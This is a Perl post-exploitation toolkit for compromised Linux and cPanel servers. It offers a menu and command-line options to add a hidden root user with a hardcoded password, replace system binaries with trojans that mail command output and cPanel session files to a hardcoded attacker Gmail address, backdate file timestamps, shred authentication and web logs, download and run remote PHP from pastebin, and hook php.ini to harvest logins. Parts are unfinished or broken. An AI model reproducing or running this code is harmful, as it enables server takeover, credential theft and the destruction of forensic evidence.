m-a kit v 0.2 ( public version )

#!/usr/bin/perl
# By b0y h4ck3r
# Many Thanks for : Mr_Anarshi_T , riyah nasr & foxy for helping :D
# Not Tested Yet :P
# http://upload.traidnt.net/upfiles/Ytu96952.png
use Term::ANSIColor;
use Sys::Hostname;
use Socket;
my $host = hostname();
if ($#ARGV < 0) {
menu:;
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
sleep 1;
print color("red"), "1. Add new root user";
print color 'reset';
print color("red"), "\n2. Auto ev!l c0de Inject0r";
print color 'reset';
print color("red"), "\n3. Auto Cpanel Session sending to e-mail";
print color 'reset';
print color("red"), "\n4. Search root password from cpanel session file"; #d0ne
print color 'reset';
print color("red"), "\n5. Log Cleaner"; #d0ne
print color 'reset';
# idea by DamaneDZ
print color("red"), "\n6. Mass Login info hunting"; #d0ne
print color 'reset';
print color("red"), "\n7. Exit";
print color 'reset';
print color("red"), "\n\nr00t~M-A: ";
print color 'reset';
$menu = <>;
if ($menu =~ /1/){
    goto addroot;
    }
    if ($menu =~ /2/){
        goto sessions;
    }
        if ($menu =~ /3/){
        goto sesend;
    }
    if ($menu =~ /4/){
        goto getrootsession;
    }

    if ($menu =~ /5/){
        goto logclean;
    }
    if ($menu =~ /6/){
        goto huntingpublic1;
    }
    if ($menu =~ /7/){
        goto exit;
    }
    else {

        print "\t\tUnknow Choise Idiot\n";
        goto menu;
    };

addroot:;
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
sleep 1;
print color("green"), "[+] Adding new root\n";
print color 'reset';
print color("yellow"), "[-] Enter New root name : \n";
print color 'reset';
my $newrootuser=<STDIN>;
chomp($newrootuser);
print color("yellow"), "[-] Enter New root Pass : \n";
print color 'reset';
my $newrootpass=<STDIN>;
chomp($newrootpass);
print color("yellow"), "[-] Enter New root Path : \n";
print color 'reset';
my $dir=<STDIN>;
chomp($dir);
{
system("useradd $newrootuser -g 0 -G wheel,sys,bin,daemon,adm,disk -d $dir -s /bin/sh");
system("echo $newrootpass | passwd $newrootuser --stdin");
system("sed -i \"s/x:[0-9]*:0/x:0:0:root/g\" /etc/passwd");
}
print color("green"), "[+] d0ne Adding new root \n";
print color 'reset';
sleep 2;
{
system("clear");
}
goto menu;
sessions:;
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
sleep 1;
print color("green"), "[+] Configuring ...\n";
print color 'reset';
print color("yellow"), "[-] Enter File that you whant to inject ev!l c0de  : \n";
print color 'reset';
        my $file=<STDIN>;
        chomp($file);
        print color("yellow"), "[-] Enter ev!l c0de  : \n";
print color 'reset';
        my $evil=<STDIN>;
        chomp($evil);
                print color("yellow"), "[-] Enter Your email to send result  : \n";
print color 'reset';
        my $emailrez=<STDIN>;
        chomp($emailrez);
print color("bold white"), "[-] Lanching ....\n";
print color 'reset';
$code = "\#include<stdio.h>";
$code2 = "\#include<stdlib.h>";
$boy = "main()";
$boy4 = "{";
$boy2 = "system(\"$evil | mail -s \"\"$host Info\"\" $emailrez\");";
$boy3 = "system(\"/usr/bin/system\");";
open(TN,">>/usr/bin/$file.c");
print TN "$code\n";
print TN "$code2\n";
print TN "$boy\n";
print TN "$boy4\n";
print TN "$boy2\n";
print TN "$boy3\n";
print TN "}";
print TN "\n";
close(TN);
print color("bold white"), "[-] Creating ev!l c0de\n";
print color 'reset';
{
system("cd /usr/bin");
system("rm -fr /usr/bin/system");
system("cp /usr/bin/$file /usr/bin/system");
system("rm -fr /usr/bin/$file");
system("gcc /usr/bin/$file.c -o /usr/bin/$file");
system("rm -fr /usr/bin/$file.c");
}
print color("bold white"), "[-] Replacing code by the ev!l c0de \n";
print color 'reset';
{
system("touch -t 1001010433 /usr/bin/$file");
system("touch -t 1001010433 /usr/bin/system");
system("chmod +x /usr/bin/system");
}
print color("bold white"), "[-] Changing access and modification time of the ev!l c0de\n";
print color 'reset';
print color("green"), "[+] Okay d0ne \n";
print color 'reset';
sleep 2;
{
system("clear");
}
goto menu;
sesend:;
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
sleep 1;
print color("green"), "[+] Configuring ...\n";
print color 'reset';
print color("yellow"), "[-] Enter File that you whant to inject in  : \n";
print color 'reset';
        my $file2=<STDIN>;
        chomp($file2);
print color("yellow"), "[-] Enter your E-mail  : \n";
print color 'reset';
        my $email=<STDIN>;
        chomp($email);
$evil2 = "cd /var/cpanel/sessions/raw/ && cat * | mail -s \"\"$host Sessions Info\"\" $email";
$line1 = "\#include<stdio.h>";
$line2 = "\#include<stdlib.h>";
$line3 = "main()";
$line4 = "{";
$line5 = "system(\"$evil2\");";
$line6 = "system(\"/usr/bin/systems\");";
open(TN,">>/usr/bin/$file2.c");
print TN "$line1\n";
print TN "$line2\n";
print TN "$line3\n";
print TN "$line4\n";
print TN "$line5\n";
print TN "$line6\n";
print TN "}";
print TN "\n";
close(TN);
{
system("cd /usr/bin");
system("rm -fr /usr/bin/systems");
system("cp /usr/bin/$file2 /usr/bin/systems");
system("rm -fr /usr/bin/$file2");
system("gcc /usr/bin/$file2.c -o /usr/bin/$file2");
system("rm -fr /usr/bin/$file2.c");
system("touch -t 1001010433 /usr/bin/$file2");
system("touch -t 1001010433 /usr/bin/systems");
system("chmod +x /usr/bin/systems");
}
print color("green"), "[+] Okay d0ne , don't test it plz :P \n";
print color 'reset';
sleep 2;
{
system("clear");
}
goto menu;
sessions:;
close;
getrootsession:;
# by RAB3OUN
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
sleep 1;
system("wget http://pastebin.com/raw.php?i=9Edn8gUs -o test.php");
my $output = "php test.php";
print color("green"), "\n$output\n";
print color 'reset';
system("rm -rf test.php");
sleep 2,
print "Have you copied the info ? y/n";
$cpoiedinfo=<STDIN>;
chomp $cpoiedinfo;
if ($cpoiedinfo eq "y")
{
print "So Fast\n";
sleep 2,
system("clear");
goto menu;
}
if ($cpoiedinfo eq "n")
{
print "-_- ok!! \n";
}

logclean:;
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
print color("green"), "[+] Okay cleanning ...\n";
print color 'reset';
sleep 1;
# $file you must put log dirs from to-add.txt
@logpaths=('/var/log/auth.log','/var/log/message','/var/log/faillog','/var/log/btmp','/var/log/user.log','/var/log/lastlog','/usr/local/apache/logs/access_log','/usr/local/apache/logs/error_log','/usr/local/apache/domlogs/','/usr/local/apache/logs/suexec_log','/var/log/exim_mainlog','/var/log/exim_paniclog','/var/log/exim_rejectlog','/var/log/maillog','/usr/local/jakarta/tomcat/logs/catalina.err','/usr/local/jakarta/tomcat/logs/catalina.out','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/cpbackup/*.log','/var/log/secure','/home/user/logs');
foreach $logpath(@logpaths)
{
system("shred -f -n 500 $logpath");
system("rm -rf $logpath");
}
print color("green"), "[+] d0ne\n";
sleep 1;
print color 'reset';
system("clear");
goto menu;
huntingpublic1:;
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
# by G-B
print color("green"), "[+] Please Enter Your Email : \n";
print color 'reset';
$huntemail=<STDIN>;
chomp $huntemail;
system("cd /usr/local/lib/");
system("sed -i '/auto_prepend_file/c\auto_prepend_file = /usr/local/lib/ini.php' php.ini");
system("wget http://pastebin.com/raw.php?i=1dRkxRtN -o ini.php");
system("sed -i ‘s/huntmail/$huntemail/’ ini.php");
system("/etc/init.d/apache2 stop");
system("/etc/init.d/apache2 start");
print color("green"), "[+] Ok Done\n";
print color 'reset';
sleep 2;
{
system("clear");
}
goto menu;
} elsif ($ARGV[0] =~ "addroot" )
 {
 print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
sleep 1;
print color("green"), "[+] Adding new root\n";
print color 'reset';
$newrootuser = "roots";
$newrootpass = "p455w0rd";
$dir = "/dir";
 {
system("useradd $newrootuser -g 0 -G wheel,sys,bin,daemon,adm,disk -d $dir -s /bin/sh");
system("echo $newrootpass | passwd $newrootuser --stdin");
system("sed -i \"s/x:[0-9]*:0/x:0:0:root/g\" /etc/passwd");
}
print color("green"), "[+] d0ne\n";
print color 'reset';
}
if ($ARGV[0] =~ "evilcode" )
{
$evil = $ARGV[1];
$emailrez = "ght.hackers@gmail.com";
$file = "zip";
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
sleep 1;
print color("green"), "[+] Configuring ...\n";
print color 'reset';
$code = "\#include<stdio.h>";
$code2 = "\#include<stdlib.h>";
$boy = "main()";
$boy4 = "{";
$boy2 = "system(\"$evil | mail -s \"\"$host Info\"\" $emailrez\");";
$boy3 = "system(\"/usr/bin/system\");";
open(TN,">>/usr/bin/$file.c");
print TN "$code\n";
print TN "$code2\n";
print TN "$boy\n";
print TN "$boy4\n";
print TN "$boy2\n";
print TN "$boy3\n";
print TN "}";
print TN "\n";
close(TN);
print color("bold white"), "[-] Creating ev!l c0de\n";
print color 'reset';
{
system("cd /usr/bin");
system("rm -fr /usr/bin/system");
system("cp /usr/bin/$file /usr/bin/system");
system("rm -fr /usr/bin/$file");
system("gcc /usr/bin/$file.c -o /usr/bin/$file");
system("rm -fr /usr/bin/$file.c");
}
print color("bold white"), "[-] Replacing code by the ev!l c0de \n";
print color 'reset';
{
system("touch -t 1001010433 /usr/bin/$file");
system("touch -t 1001010433 /usr/bin/system");
system("chmod +x /usr/bin/system");
}
print color("bold white"), "[-] Changing access and modelsification time of the ev!l c0de\n";
print color 'reset';
print color("green"), "[+] Okay d0ne \n";
print color 'reset';
}
elsif ($ARGV[0] =~ "emailses" )

{
$email = "ght.hackers@gmail.com";
$file2 = $ARGV[1];
print = "$file2";
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
sleep 1;
print color("green"), "[+] Configuring ...\n";
print color 'reset';
$evil2 = "cd /var/cpanel/sessions/raw/ && cat * | mail -s \"\"$host Sessions Info\"\" $email";
$line1 = "\#include<stdio.h>";
$line2 = "\#include<stdlib.h>";
$line3 = "main()";
$line4 = "{";
$line5 = "system(\"$evil2\");";
$line6 = "system(\"/usr/bin/systems\");";
open(TN,">>/usr/bin/$file2.c");
print TN "$line1\n";
print TN "$line2\n";
print TN "$line3\n";
print TN "$line4\n";
print TN "$line5\n";
print TN "$line6\n";
print TN "}";
print TN "\n";
close(TN);
{
system("cd /usr/bin");
system("rm -fr /usr/bin/systems");
system("cp /usr/bin/$file2 /usr/bin/systems");
system("rm -fr /usr/bin/$file2");
system("gcc /usr/bin/$file2.c -o /usr/bin/$file2");
system("rm -fr /usr/bin/$file2.c");
system("touch -t 1001010433 /usr/bin/$file2");
system("touch -t 1001010433 /usr/bin/systems");
system("chmod +x /usr/bin/systems");
}
print color("green"), "[+] Okay d0ne , don't test it plz :P \n";
print color 'reset';
}
elsif ($ARGV[0] =~ "rootses" )
{
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
sleep 1;
system("wget http://pastebin.com/raw.php?i=9Edn8gUs -o test.php");
my $output = "php test.php";
print color("green"), "\n$output\n";
print color 'reset';
system("rm -rf test.php");
}
elsif ($ARGV[0] =~ "rootsql" )
{
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
sleep 1;
print color("green"), "[+] Searching ...\n";
print color 'reset';
print color("green"), "[-] This may take some time :D ...\n";
print color 'reset';
{
system("cat /usr/local/mysql/data/* > mysql1.txt");
system("cat /var/lib/mysql/* > mysql2.txt");
system("cat /var/run/mysqld/* > mysql3.txt");
system("cat mysql1.txt mysql2.txt mysql3.txt > mysql.txt");
system("rm -rf mysql1.txt && rm -rf mysql2.txt && rm -rf mysql3.txt");
system("%here i must sed hhhhhhh mysql.txt to grep s1 the root with password elsif it's found then to print it s1");
}
}
elsif ($ARGV[0] =~ "logclean" )
{
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
print color("green"), "[+] Okay cleanning ...\n";
print color 'reset';
sleep 1;
# $file you must put log dirs from to-add.txt
@logpaths=('/var/log/auth.log','/var/log/message','/var/log/faillog','/var/log/btmp','/var/log/user.log','/var/log/lastlog','/usr/local/apache/logs/access_log','/usr/local/apache/logs/error_log','/usr/local/apache/domlogs/','/usr/local/apache/logs/suexec_log','/var/log/exim_mainlog','/var/log/exim_paniclog','/var/log/exim_rejectlog','/var/log/maillog','/usr/local/jakarta/tomcat/logs/catalina.err','/usr/local/jakarta/tomcat/logs/catalina.out','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/cpbackup/*.log','/var/log/secure','/home/user/logs');
foreach $logpath(@logpaths)
{
system("shred -f -n 500 $logpath");
system("rm -rf $logpath");
}

print color("green"), "[+] d0ne\n";
} elsif ($ARGV[0] =~ "hunt" )
{
$huntemail = "ght.hackers@gmail.com";
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
# by G-B
system("cd /usr/local/lib/");
system("sed -i '/auto_prepend_file/c\auto_prepend_file = /usr/local/lib/ini.php' php.ini");
system("wget http://pastebin.com/raw.php?i=1dRkxRtN -o ini.php");
system("sed -i ‘s/huntmail/$huntemail/’ ini.php");
system("/etc/init.d/apache2 stop");
system("/etc/init.d/apache2 start");
print color("green"), "[+] Ok Done\n";
print color 'reset';
}
elsif ($ARGV[0] =~ "help" )
 {
print color("red"), "[+] M-A kit v 0.2\n";
print color 'reset';
print color("blue"), "[+] Welcome to Help Task :D\n";
print color 'reset';
print color("bold white"), "[-] To Add New Root : perl $0 addroot\n";
print color 'reset';
print color("bold white"), "[-] To Inject Code In a Commad : perl $0 evilcode code\n";
print color 'reset';
print color("bold white"), "[-] To Send Cpanel Session To email : perl $0 emailses file\n";
print color 'reset';
print color("bold white"), "[-] To Search Root Password From Session file : perl $0 rootses\n";
print color 'reset';
print color("bold white"), "[-] To Clean Log : perl $0 logclean\n";
print color 'reset';
print color("bold white"), "[-] To Hunt Loginig Information : perl $0 hunt\n";
print color 'reset';
print color("bold white"), "[-] To see this : perl $0 help\n";
print color 'reset';
}
# ok argv i hate you :( go to hell